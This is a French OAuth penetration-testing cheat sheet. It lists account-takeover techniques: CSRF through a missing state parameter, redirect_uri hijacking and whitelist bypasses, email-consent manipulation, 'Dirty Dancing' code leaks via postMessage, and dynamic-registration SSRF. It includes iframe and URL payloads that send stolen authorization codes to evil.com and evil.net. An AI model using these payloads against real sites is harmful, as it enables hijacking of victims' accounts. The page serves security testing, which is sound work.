👋OAuth

Processus

Vol de session

  • se connecter tout en capturant le traffic dans le http history de burp

  • aller dans le POST /authenticate

  • changer l'email de la victime par le mail de l'attaquant

Absence de contrôle CSRF

Dans le cas où le paramètre state (permettant de se protéger des attaques CSRF) serait absent, Un utilisateur malveillant pourrait tenter de détourner le compte d'un autre utilisateur en le manipulant dans le but de lier son compte à son réseau social.

Exemple:

Application permettant d'associer un compte de réseau social.

  • Se connecter

  • Associer un compte de réseau social

  • Vérifier le fonctionnement de la fonction "Se connecter avec [réseau social]"

  • Dans l'historique http de burp, analyser les requêtes

  • Vérifier que la redirection ne contient pas le paramètre "state"

  • Vérifier la présence du code d'autorisation dans la requête suivant la redirection

La deuxième étape vise à refaire le même procéder sans utiliser le code d'autorisation qui ne sera plus valide s'il est utilisé.

  • Capturer la requête "Associer un compte"

  • Forward la requête jusqu'au code d'autorisation

  • Copier l'url de la requête

Attention: il est important de drop la requête afin d'empêcher l'utilisation du code avant de l'avoir transmis à la victime.

A partir de ce moment, le fait que le paramètre state ne soit pas présent permet à l'attaquant de créer un exploit tel que celui ci-dessous qu'il pourrait envoyer à un autre utilisateur pour l'inciter à lier son compte au siens contre son gré:

<iframe src="https://target.com/oaut-linking?code=<AUTORIZATION_CODE>"></iframe>

Si le paramètre state est présent, essayer de le laisser vide pour vérifier si il est réellement vérifié.

OAuth hijacking via redirect_uri

Si le paramètre redirect_uri n'est pas correctement validé et permet à un attaquant de rediriger la requête OAuth sur un serveur lui appartenant, il pourrait alors prendre le contrôle du compte d'un autre utilisateur.

Etapes:

  • Se connecter

  • Associer un compte de réseau social

  • Vérifier le fonctionnement de la fonction "Se connecter avec [réseau social]"

  • Dans l'historique http de burp, analyser les requêtes

  • Tenter de remplacer le contenu du paramètre "redirect_uri" par une valeur arbitraire

  • Constater qu'il n'y a pas d'erreur

  • Vérifier la vulnérabilité en tentant une redirection sur un serveur nous appartenant (vérifier la présence du code d'autorisation dans les logs)

La deuxième étape consiste donc à envoyer comme précédemment un exploit à notre victime qui va permettre de voler son code d'autorisation et qui va ainsi nous permettre de nous connecter avec.

<iframe src="https://target.com/auth?client_id=<client_id>&redirect_uri=https://evil.com&response_type=code&scope=openid%20profile%20email"></iframe>

Une fois que la cible aura exécuté l'exploit, son code sera leaké dans les logs de notre serveur et nous n'auront donc plus qu'à nous déconnecter de notre session puis nous reconnecter en utilisant directement le code de notre victime.

Exemple:

https://target.com/oauth-callback?code=<STOLEN_CODE>

Bypass

Afin d'éviter ce risque, les entreprises utilisent des whitelist leur permettant de n'autoriser que leurs urls dans le paramètre redirect_uri mais si celles-ci ne sont pas correctement implémentés, elle peuvent être contournées de différentes manières.

  • Certaines implémentations autorisent une plage de sous-répertoires en vérifiant uniquement que la chaîne commence par la séquence de caractères correcte, c'est-à-dire un domaine approuvé. Vous devriez essayer de supprimer ou d'ajouter des chemins arbitraires, des paramètres de requête et des fragments pour voir ce que vous pouvez modifier sans déclencher d'erreur.

  • Si vous pouvez ajouter des valeurs supplémentaires au paramètre redirect_uri par défaut, vous pourrez peut-être exploiter les écarts entre l'analyse de l'URI par les différents composants du service OAuth. Par exemple, vous pouvez essayer des techniques telles que:

https://target.com&@foo.evil.net#@bar.evil.net/

  • Vous pouvez occasionnellement rencontrer des vulnérabilités de pollution des paramètres côté serveur. Au cas où, vous devriez essayer de soumettre des paramètres redirect_uri en double comme suit :

https://www.target.com/?clientid=<client_id>&redirect_uri=target.com/callback&redirect_uri=evil.net/exploit

  • Certains serveurs accordent également un traitement spécial aux URI localhostcar ils sont souvent utilisés pendant le développement. Dans certains cas, tout URI de redirection commençant par localhostpeut être accidentellement autorisé dans l'environnement de production. Cela pourrait vous permettre de contourner la validation en enregistrant un nom de domaine tel que localhost.evil.net.

  • Si il est impossible de nous rediriger vers notre serveur directement via le paramètre redirect_uri et qu'une autre page du site contient une redirection ouverte, on peut essayer d'utiliser du path traversal pour nous rendre sur cette page.

Exemple: https://target.com/oauth/callback/../exemple/path?redirect=http://evil.net

Essayez également de trouver toutes autres vulnérabilités qui vous permettraient d'extraire le code ou le jeton OAuth et de l'envoyer à un domaine externe.

  • XSS

  • HTML injection (<img src="evil.net">)

OAuth brute force

Essayer de brute force la page de login pour trouver des règles oauth cachées.

Exemple:

/login/facebook

/login/oauth/twitter

/login/oauth/v2/yahoo

ATO via manipulation des permissions accordées

  1. Sign up avec Oauth de réseau social

    1. REFUSER DE PARTAGER L'EMAIL

  2. Redirection vers page de création de compte avec email normalement vide

  3. Intercepter la requête de création de compte

  4. Entrer un email déjà validé dans le champs d'email (celui de la cible)

  5. Envoyer la requête

Si cela fonctionne, cela nous connecte alors sur le compte de la cible.

One-Click ATO via OAuth Dirty Dancing

Étapes

Trouver un "non-happy path"

Le premier objectif est de trouver un moyen de "casser" le flux de connexion OAuth afin de terminer avec une erreur faisant fuiter le code / token.

Pour cela, il existe plusieurs solutions:

Manipuler le paramètre state

Théorie:

  1. L'attaquant démarre un flux de connexion OAuth sur le site Web en utilisant « Connectez-vous avec X ».

  2. L'attaquant intercepte la valeur du paramètre state et construit un lien pour la victime pour se connecter avec le fournisseur OAuth mais avec le paramètre state de l’attaquant.

  3. La victime est connectée avec le lien et redirigée vers le site web.

  4. Le site Web valide l'état de la victime et arrête le traitement due flux de connexion car son paramètre state invalide. (Page d'erreur pour la victime)

  5. L'attaquant trouve un moyen de divulguer le code de la page d'erreur. (Via une XSS par exemple)

  6. L'attaquant peut désormais se connecter avec son propre paramètre state et le code a été divulgué par la victime.

Manipuler le paramètre response_type/response_mode

Google:

Remplacer le paramètre response_type=code par response_type=code,id_token

Apple:

Remplacer le paramètre response_type=code par response_type=code+id_token et le paramètre response_mode=query par response_mode=fragment

Manipuler le paramètre redirect_uti

Casse:

remplacer le paramètre redirect_uri=https://target.xyz/callback par redirect_uri=https://target.xyz/CalLbAcK

Chemin:

remplacer le paramètre redirect_uri=https://target.xyz/callback par redirect_uri=https://target.xyz/callbackxxx

Paramètre additionnel:

remplacer le paramètre redirect_uri=https://target.xyz/callback par redirect_uri=https://target.xyz/callback?code=xxx ou redirect_uri=https://target.xyz/callback?id_token=xxx

Trouver un moyen de faire fuite l'URL (Bonne chance)

L'étape suivante consiste à trouver un moyen de faire fuite l'URL d'erreur contenant le code / token.

Voici quelques solutions possibles:

postMessage

Si un Post-Message ne vérifie pas l'hôte source des messages, on peut imaginer un scénario tel que:

  1. L'attaquant envoie à la victime un lien spécialement conçu pour aboutir à un "non-happy path" dans la danse OAuth.

  2. La victime clique sur le lien. Un nouvel onglet s'ouvre avec un flux de connexion avec l'un des fournisseurs OAuth du site Web exploité.

  3. Une erreur est déclenché sur le site Web exploité, le listener postMessage vulnérable est chargé sur la page sur laquelle la victime a atterri, toujours avec le code ou les jetons dans l'URL.

  4. L'onglet d'origine envoyé par l'attaquant envoie un tas de postMessages au nouvel onglet avec le site Web pour que le listener postMessage divulgue l'URL actuelle.

  5. L'onglet d'origine envoyé par l'attaquant écoute ensuite le message qui lui est envoyé.

  6. Lorsque l'URL revient dans un message, le code et le jeton sont extraits et envoyés à l'attaquant.

  7. L'attaquant se connecte au compte de la victime en utilisant le code ou le jeton exfiltré.

XSS

OpenID dynamic client registration SSRF

La spécification OpenID permet aux applications clientes de s'enregistrer auprès du fournisseur OpenID de manière standardisée. Si l'enregistrement dynamique du client est pris en charge, l'application client peut s'enregistrer elle-même en envoyant une requête POST à endpoint dédié tel que /registration par exemple. Le nom de cet endpoint est généralement fourni dans le fichier de configuration et la documentation.

Via cet endpoint, l'utilisateur va alors avoir la possibilité de s'enregistrer en renseignant des informations au format JSON demandant souvent une liste d'urls de redirection whitelistées.

De cette manière, si cette fonctionnalité est activée et mal restreinte, un attaquant à la possibilité d'enregistrer ses propres urls de redirection et ainsi de bénéficier d'une SSRF.

Exemple:

POST /openid/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89...

{
    "application_type": "web",
    "redirect_uris": [
        "https://client-app.com/callback",
        "https://attacker-app.com/callback2"
        ],
    "client_name": "My Application",
    "logo_uri": "https://client-app.com/logo.png",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "https://client-app.com/my_public_keys.jwks",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256",
    …
}

PrécédentHTTP SmugglingSuivantSAML

Dernière mise à jour